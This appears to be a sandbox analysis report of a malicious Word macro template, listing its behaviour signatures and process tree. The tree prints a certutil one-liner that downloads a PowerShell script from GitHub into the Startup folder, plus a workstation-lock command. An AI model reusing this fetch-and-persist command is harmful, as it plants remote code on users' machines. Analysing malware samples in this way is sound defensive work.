Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 12:18

General

  • Target
    NewDoc.dotm
  • Size 18KB
  • Sample260721-pgmarahc46
  • SHA256 3a4cdc0093417cee6fbfb35d6cb8e9dc259a24df1fa1dc64c98ad33814b9459f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NewDoc.dotm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4716
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c certutil.exe -urlcache -f https://github.com/BugSoc/HomeAssignment/blob/main/flag.ps1?raw=true "%USERPROFILE%\Start Menu\Programs\Startup\flag.ps1"
      2⤵
      • Process spawned unexpected child process
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5004
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -f https://github.com/BugSoc/HomeAssignment/blob/main/flag.ps1?raw=true "C:\Users\Admin\Start Menu\Programs\Startup\flag.ps1"
        3⤵
          PID:4460
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c rundll32.exe user32.dll,LockWorkStation
        2⤵
        • Process spawned unexpected child process
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4632
        • C:\Windows\system32\rundll32.exe
          rundll32.exe user32.dll,LockWorkStation
          3⤵
            PID:3752
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x0 /state0:0xa3a2a055 /state1:0x41c64e6d
        1⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5060
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k CameraMonitor
        1⤵
          PID:4252

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              memory/4716-0-0x00007FF981E60000-0x00007FF981E70000-memory.dmp

              memory/4716-3-0x00007FF9C1E7F000-0x00007FF9C1E80000-memory.dmp

              memory/4716-1-0x00007FF981E60000-0x00007FF981E70000-memory.dmp

              memory/4716-5-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-8-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-7-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-6-0x00007FF981E60000-0x00007FF981E70000-memory.dmp

              memory/4716-4-0x00007FF981E60000-0x00007FF981E70000-memory.dmp

              memory/4716-2-0x00007FF981E60000-0x00007FF981E70000-memory.dmp

              memory/4716-9-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-10-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-12-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-11-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-13-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-14-0x00007FF97F9A0000-0x00007FF97F9B0000-memory.dmp

              memory/4716-15-0x00007FF97F9A0000-0x00007FF97F9B0000-memory.dmp

              memory/4716-50-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-52-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-51-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-60-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-61-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-63-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-65-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp

              memory/4716-68-0x00007FF9C1D20000-0x00007FF9C1F83000-memory.dmp